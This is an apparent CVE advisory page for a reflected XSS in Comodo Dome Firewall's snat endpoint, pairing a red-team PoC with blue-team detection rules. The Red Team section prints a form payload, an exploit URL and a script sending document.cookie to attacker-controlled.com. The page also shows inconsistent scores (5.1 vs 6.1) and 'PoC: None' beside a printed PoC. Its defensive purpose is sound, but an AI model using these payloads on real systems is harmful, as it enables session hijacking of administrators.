☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25420

CVE-2019-25420 Cross-Site Scripting in Comodo
📅 PUBLISHED: 2026-02-19 12:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25420 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the snat endpoint, where user-supplied input in the port or snat_to_ip parameters is not properly sanitized before being reflected back to the user. An attacker can craft a POST request containing malicious JavaScript payloads, which, when executed in a victim's browser, can lead to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 6.1 (Medium) and is currently unpatched, posing a significant risk to exposed management consoles.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed to trigger the XSS.
  • User Interaction: Required (UI:R) – The victim must click a crafted link or submit a crafted form.
  • Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited ability to modify data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is trivial to exploit but requires user interaction. However, in the context of a firewall management interface, an XSS can lead to full administrative compromise.

Deep Dive & Mechanics

The vulnerability resides in the snat endpoint of the Comodo Dome Firewall web interface. This endpoint is used to configure Source Network Address Translation (SNAT) rules. The port and snat_to_ip parameters are reflected in the response without proper encoding or validation.

Attack Flow:

  1. An attacker crafts a POST request to the /snat endpoint with a malicious payload in the port or snat_to_ip parameter.
  2. The payload is reflected in the HTTP response, typically within an HTML context.
  3. If a victim (e.g., an administrator) is tricked into submitting this request (e.g., via a phishing link or a crafted form), the JavaScript executes in their browser.
  4. The script can then perform actions on behalf of the victim, such as modifying firewall rules, exfiltrating session cookies, or redirecting to a malicious site.

Root Cause: Lack of output encoding. The application fails to escape HTML entities in user-supplied input before rendering it in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable server-side code
def handle_snat(request):
    port = request.POST.get('port')
    snat_to_ip = request.POST.get('snat_to_ip')
    # Direct reflection without sanitization
    response = f"<div>Port: {port}, SNAT IP: {snat_to_ip}</div>"
    return HttpResponse(response)

Patched Code (Conceptual):

# Example of patched server-side code
import html

def handle_snat(request):
    port = request.POST.get('port')
    snat_to_ip = request.POST.get('snat_to_ip')
    # Proper HTML encoding
    safe_port = html.escape(port)
    safe_snat_to_ip = html.escape(snat_to_ip)
    response = f"<div>Port: {safe_port}, SNAT IP: {safe_snat_to_ip}</div>"
    return HttpResponse(response)

Key Difference: The patched version uses html.escape() to convert special characters (e.g., <, >, &, ") into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

<!-- Crafted form to trigger XSS -->
<form action="https://target-firewall/snat" method="POST">
  <input type="hidden" name="port" value="80">
  <input type="hidden" name="snat_to_ip" value="192.168.1.1<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>

Exploit URL (if GET is also vulnerable):

https://target-firewall/snat?port=80&snat_to_ip=192.168.1.1<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

<script>
  var img = new Image();
  img.src = "https://attacker-controlled.com/steal?cookie=" + document.cookie;
</script>

Lab Setup:

  1. Deploy a vulnerable Comodo Dome Firewall 2.7.0 in a virtualized environment.
  2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify POST requests.
  3. Send the crafted payload to the /snat endpoint.
  4. Observe the JavaScript execution in the browser.

Blue Team (Defensive)

Detection:

  • Monitor HTTP POST requests to /snat containing suspicious characters in port or snat_to_ip parameters (e.g., <script>, onerror, javascript:).
  • Look for anomalous outbound connections from the firewall management interface to unknown IPs (potential data exfiltration).

Mitigation:

  • Apply input validation and output encoding on the server side.
  • Implement a Web Application Firewall (WAF) to block XSS payloads.
  • Restrict access to the management interface to trusted IPs only.
  • Use Content Security Policy (CSP) headers to limit script execution.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /snat with port or snat_to_ip parameters containing HTML/JavaScript.
    • Outbound HTTP/HTTPS connections from the firewall to unknown domains (e.g., attacker-controlled.com).
  • File IOCs:
    • Log entries in the firewall's access logs showing snat endpoint requests with encoded payloads.
  • Behavioral IOCs:
    • Unexpected changes to SNAT rules.
    • Unauthorized administrative sessions.

Detection Engineering

YARA Rule

rule CVE_2019_25420_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall snat endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25420"
    strings:
        $xss_payload = /(<script|<img|<svg|onerror|onload|javascript:)/
        $snat_endpoint = "/snat"
    condition:
        $snat_endpoint and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Comodo Dome Firewall snat Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /snat with XSS payloads in port or snat_to_ip parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/snat'
        cs-uri-query|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in SNAT configuration (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25420 - Reflected XSS in Comodo Dome Firewall snat endpoint"; flow:to_server; content:"POST"; http_method; content:"/snat"; http_uri; content:"port="; http_client_body; pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Management Interface: Restrict access to the firewall's web interface to trusted IPs only using firewall rules or VPN.
  2. Apply Input Validation: If source code access is available, implement proper output encoding (e.g., HTML entity encoding) for all user-supplied input.
  3. Deploy a WAF: Use a Web Application Firewall to block XSS payloads targeting the /snat endpoint.

Long-Term Fix:

  • Since no official patch is available, consider upgrading to a newer version of Comodo Dome Firewall (if available) or migrating to an alternative solution.
  • Contact Comodo support for a hotfix or custom patch.

Compensating Controls:

  • Enable Content Security Policy (CSP) headers to restrict script execution.
  • Use HTTP-only cookies to mitigate session hijacking.
  • Implement multi-factor authentication (MFA) for administrative access.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25420/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.